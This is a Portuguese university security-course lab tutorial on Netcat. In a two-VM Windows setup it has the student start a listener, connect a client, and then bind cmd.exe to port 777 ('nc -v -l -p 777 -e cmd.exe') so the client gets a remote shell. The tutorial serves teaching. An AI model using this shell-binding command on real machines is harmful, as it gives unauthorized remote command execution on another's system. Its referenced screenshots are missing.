Buscar

Tutorial - Conexao Reversa com Netcat

Prévia do material em texto

Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Conexão Reversa com Netcat
Informações Iniciais
• Para este tutorial devem ser utilizadas duas máquinas virtuais Windows, sendo uma para 
funcionar como cliente e outra para funcionar como servidor.
Passo 1: Baixar Programas Necessários
Realize o download do Netcat (netcat111.zip) a partir do ambiente de nossa disciplina 
no Moodle.
 
Passo 2: Instalar Netcat
Descompactar o arquivo netcat111.zip e executar o seguinte comando:
C:\> nc -h
1/4
Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Passo 3: Executar Netcat como Servidor
Execute o comando abaixo na máquina Windows que servirá como servidor. Este 
irá permitir ao Netcat “ouvir” a porta 777.
C:\> nc -v -l -p 777
Passo 4: Executar o Netcat como Cliente
Realize a instalação do Netcat em outra máquina Windows (cliente) e, então, 
execute o comando abaixo, considerando as devidas adaptações:
C:\>nc -v <IP DO SERVIDOR> 777
Logo após, um resultado semelhante àquele apresentado pela figura abaixo será 
exibido na tela da máquina cliente:
Na máquina servidora, por sua vez, será exibido um resultado equivalente ao 
apresentado a seguir:
2/4
Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Passo 5: Executar um Comando com Conexão Reversa
Na máquina servidora, realize um Ctrl+C e encerre a conexão estabelecida no passo 
anterior. Logo após, coloque o servidor para funcionar novamente através do comando 
abaixo:
C:\>nc -v -l -p 777 -e cmd.exe
3/4
Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Em seguida, digite, na máquina cliente, o comando abaixo a fim de se estabelecer 
uma conexão reversa e executar um comando no servidor:
C:\>nc -v <IP DO SERVIDOR> 777
Tendo digitado o comando acima, uma tela semelhante àquela abaixo será exibida no 
cliente:
Isso feito, o shell exibido na máquina cliente será, na verdade, pertencente à máquina 
servidora e, portanto, todos os comando digitados nele serão executados no servidor.
Por fim, no servidor, será exibida uma tela semelhante àquela trazida a seguir:
4/4

Continue navegando